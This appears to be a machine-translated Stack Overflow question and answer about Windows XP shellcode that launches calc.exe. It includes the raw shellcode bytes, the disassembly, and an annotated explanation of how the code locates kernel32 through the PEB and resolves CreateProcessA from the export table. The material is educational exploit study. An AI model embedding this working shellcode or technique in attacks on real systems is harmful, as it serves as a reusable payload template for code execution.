【问题标题】:The Shellcode to open Calc.exe too long and complex, can't understand! My first exploit program打开Calc.exe的Shellcode太长太复杂,看不懂!我的第一个漏洞利用程序
【发布时间】:2019-01-27 15:13:33
【问题描述】:

我使用我在网上找到的 shellcode 在 Windows XP 操作系统上编写了我的第一个漏洞利用程序。它打开计算器,整个程序成功运行。然而,即使我自己没有编写 shellcode,我也必须通过反汇编非常清楚它的作用。事实证明我的 shellcode 很长而且很复杂(甚至我的老师也这么说)。 这是二进制: char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; 这是拆开的东西:

 0:  31 db                   xor    ebx,ebx
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]
12: 8b 3f                   mov    edi,DWORD PTR [edi]
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc
1a: 89 c7                   mov    edi,eax
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
22: 01 c2                   add    edx,eax
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax
29: 89 dd                   mov    ebp,ebx
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
30: 45                      inc    ebp
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax
56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a
5d: 68 63 61 6c 63          push   0x636c6163
62: 89 e2                   mov    edx,esp
64: 52                      push   edx
65: 52                      push   edx
66: 53                      push   ebx
67: 53                      push   ebx
68: 53                      push   ebx
69: 53                      push   ebx
6a: 53                      push   ebx
6b: 53                      push   ebx
6c: 52                      push   edx
6d: 53                      push   ebx
6e: ff d7                   call   edi

如您所知,这很长而且令人困惑。谁能解释它的作用?我更习惯于 shellcode 将一些函数地址推送到寄存器然后调用它......这对我来说太高级了!在此先感谢:)

【问题讨论】:

  • shellcode非常标准:它循环PEB_LDR_DATA列表找到kernel32.dll的基地址,然后解析它的PE结构循环导出表,最终得到CreateProcess的地址并调用它.但是你确定 0xc 行的 mov eax,DWORD PTR [edi+0x8] 吗?不应该是mov eax,DWORD PTR [edi+0x18]吗?
  • mov eax,DWORD PTR [edi+0x8] 是对的,关于这一点的文档并不清楚。我测试过了。

标签: assembly stack-overflow buffer-overflow exploit shellcode


【解决方案1】:

Windows API 不像在 Linux/BSD 中那样根据系统调用来定义。
为了调用 API,程序必须加载包含的 DLL 并找到导出过程的地址(这个过程可以是完整的 API 实现,也可以是实际 syscall 指令周围的小存根)。

要使 shellcode 能够调用 API,它必须加载 DLL 并找到 API 导出的过程。
一些DLL总是被加载,即使在加载程序的PE中没有监听依赖,其中kernel32.dll

shellcode 的第一部分是定位kernel32.dll 的基地址,它通过利用PEB_LDR_DATA 结构来实现。
此结构包含已加载模块 (DLL) 的列表及其名称和基地址。
实际上有三个双链表,都指向相同的对象,但顺序不同,偏移量略有不同。
shellcode 使用列表InInitializationOrderModuleList

PEB_LDR_DATA 位于PEB,而TEB 又位于TEB
TEB 位于fs 指向的段中。

回顾一下:

FS -> TEB -> PEB -> PEB_LDR_DATA -> InInitializationOrderModuleList

这里是第一部分的说明

; Zeroes EBX
0:  31 db                   xor    ebx,ebx
; FS points to the TEB, TEB+0x30 is a pointer to the PEB
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
; PEB+0xc is a pointer to PEB_LDR_DATA
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
; PEB_LDR_DATA is a pointer to InInitializationOrderModuleList
; EDI points to a LIST_ENTRY structure
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]

; Start of a loop
; EAX = Base address of the current module
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
; ESI = Ptr to UNICODE basename of the current module
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]

; EDI = Ptr to FLink member
; Move the pointer to the next item
12: 8b 3f                   mov    edi,DWORD PTR [edi]
; Check if character 7 of the DLL base name is 3 (matches kernel32.dll)
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc

这里可能令人困惑的是InInitializationOrderModuleList 成员是一个指向LIST_ENTRY 结构的指针,这是一个变量 大小的结构;在偏移量 0 和 4 处,必须有 FLinkBLink 成员,后跟自定义数据。 Windows 只为每个 DLL 保留一个 LDR_MODULE 结构,这三个列表只是简单地重新排列,以便遍历它们产生预期的顺序。
此外,每个列表都指向LDR_MODULE偏移量,特别是InInitializationOrderModuleList 项目指向LDR_MODULEInInitializationOrderLinks 成员。
更详细更好的解释请见here

第一部分的最终结果是kernel32.dll的基地址在eax

基地址很重要,因为 Windows 将 MZ 和 PE 标头保存在内存中,因此加载的模块只是一个“扩展的”PE。
特别是它是一个有效的 PE。
PE layout can be found on Wikipedia

shellcode的第二部分将尝试查找CreateProcessA的地址。
为此,它需要走 PE 的出口部分。
标头中的大多数(全部?)字段是相对于标头本身开始的偏移量,当文件加载到内存中时,该偏移量称为 RVA(相对虚拟地址,相对于基地址)。
因此,您会看到一些add 将 RVA 转换为 VA(绝对虚拟地址)。

导出部分已记录在案,例如,here
有一个表,其中包含指向导出函数名称的指针,该表(通过它们的索引)与序数表耦合。
如果名称 CreateWindowEx 在名称表中的索引为 3,则通过查看序数表中的索引 3,我们可以找到它的序数。
函数的序号只是入口点地址表的索引。
该结构的布局是为了通过其序号快速查找函数,但可以采取额外的步骤并使用名称来代替。

回顾一下:

Base address -> PE header -> Export section -> Index of "CreateProcessA" in the names table -> Index of "CreateProcessA" in the ordinals table -> Entry-point of "CreateProcessA"

注释代码是

;EDI = MZ Header
1a: 89 c7                   mov    edi,eax
;EDI = PE Header
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
;EDX = Export section RVA
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
;EDX = Export section VA
22: 01 c2                   add    edx,eax

;EDI = VA of Names table
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax

; Start of a loop over the names
; I = 0
29: 89 dd                   mov    ebp,ebx
; ESI = ptr to the exported function name
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
; I++
30: 45                      inc    ebp
; Name starts with 'Crea'
; Mind the endianness
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
; Name has 'oces' at char 9?
; Mind the endianness
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b

;Name CreateProcessA found
;EBP = Index into the names table of CreateProcessA

; EDI = VA of the Ordinals table
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
; BP = Ordinal number of CreateProcessA
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
; EDI = VA of the Entry-points table
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
; EDI = VA of CreateProcessA
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax

第二部分的最终结果是CreateProcessA的地址

第三部分也是最后一部分只是调用CreateProcessA

唯一奇怪的是这个

56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a

它创建了一个 255*4 字节的零缓冲区,对我来说似乎没用。
其余的应该是你习惯的那种常见的 shellcode。


虽然重新编写这个 shellcode 有点乏味,但我建议在你的职业生涯中至少自己完成一次。
我的意思是再次检查它,检查偏移量等等。
这很重要,因为这种 shellcode 非常标准(任何沙箱都会检测到它)并且可以被视为更高级技术的基本块。

还要注意 shellcode 使用的快捷方式:它不是 100% 故障安全的(它不检查 完全 kernel32.dllCreateProcessA)但它是正确的 足够工作。
这也是很典型的。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2018-10-22
    • 1970-01-01
    • 1970-01-01
    • 2021-02-28
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多